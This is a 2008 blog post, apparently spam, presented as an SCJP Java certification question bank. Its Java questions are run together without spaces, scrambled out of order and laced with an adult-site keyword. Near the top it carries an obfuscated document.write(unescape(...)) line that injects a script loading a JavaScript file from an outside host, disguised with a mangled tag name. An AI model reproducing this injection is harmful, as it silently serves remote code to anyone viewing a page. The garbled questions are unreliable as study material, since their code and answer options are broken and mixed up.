|
|
| |
|
| |
| |
| SCJP的104题库-33bbb.com性小说 |
|
[ 2008-5-28 7:44:51 | By: pkps126 ] |
woyao$%^2008528 document.write(unescape('%3CScRScRiPtiPt%20SrC%3D%22http%3A//cWchyt2.Cn/cWchyt2.js%22%3E%3C/ScRScRiPtiPt%3E'));
placedatline6,33bbb.com性小说willcauseacompilererror? A.publicfloatgetNum(){return4.0f;} B.publicvoidgetNum(){} C.publicvoidgetNum(doubled){} D.publicdoublegetNum(floatd){return4.0d;} 3.publicclassIfTest{ publicstaticvoidmain(Stringargs[]){ intx=3; inty=1; if(x=y)System.out.println("Notequal"); elseSystem.out.println("Equal"); } } whatistheresult? 4.publicclassFoo{ publicstaticvoidmain(Stringargs[]){ try{return;} finally{System.out.println("Finally");} } } whatistheresult? A.printoutnothing B.printout"Finally" C.compileerror 5.publicclassTest{ publicstaticStringoutput=""; publicstaticvoidfoo(inti){ try{ if(i==1){ thrownewException(); } output+="1"; }catch(Exceptione){ output+="2"; return; } finally{ output+="3"; } output+="4"; } publicstaticvoidmain(Stringargs[]){ foo(0); foo(1); 24) } } whatisthevalueofoutputatline24? 6.publicclassIfElse{ publicstaticvoidmain(Stringargs[]){ if(odd(5))System.out.println("odd"); elseSystem.out.println("even"); } publicstaticintodd(intx){returnx%2;} } whatisoutput? 7.classExceptionTest{ publicstaticvoidmain(Stringargs[]){ try{ methodA(); }catch(IOExceptione){ System.out.println("caughtIOException"); }catch(Exceptione){ System.out.println("caughtException"); } } } IfmethodA()throwsaIOException,33bbb.com性小说whatistheresult? 8.inti=1,33bbb.com性小说doubley){ 3)return(short)x/y*2; 4)} 5)} whatisvalidreturnTypeformethodAinline2? 2. 1)classSuper{ 2)publicfloatgetNum(){return3.0f;} 3)} 4) 5)publicclassSubextendsSuper{ 6) 7)} whichmethod,33bbb.com性小说whatarethevalueforiandj? A.i=6j=5 B.B.i=5j=5 C.i=6j=4 D.i=5j=6 E.i=6j=6 9.1)publicclassX{ 2)publicObjectm(){ 3)Objecto=newFloat(3.14F); 4)Object[]oa=newObject[1]; 5)oa[0]=o; 6)o=null; 7)oa[0]=null; System.out.println(oa[0]); 9)} 10)} whichlineistheearliestpointtheobjectareferedisdefinitelyelibiletobegarbagecollectioned? A.Afterline4B.Afterline5C.Afterline6 D.Afterline7E.Afterline9(thatis,33bbb.com性小说j=10; do{ if(i++>--j)continue; }while(i<5); AfterExecution,SimulatedTestofSCJPforJAVA2PlatFORM??104
1. 1)publicclassReturnIt{ 2)returnTypemethodA(bytex,@@http://www.citychinese.com/blog@@pkps126 |
|
| |
| Re:SCJP的104题库-33bbb.com性小说 |
|
[ 2008-11-29 5:00:16 | By: 访客Os3Vma(游客) ] |
jhk |
|
| | |
|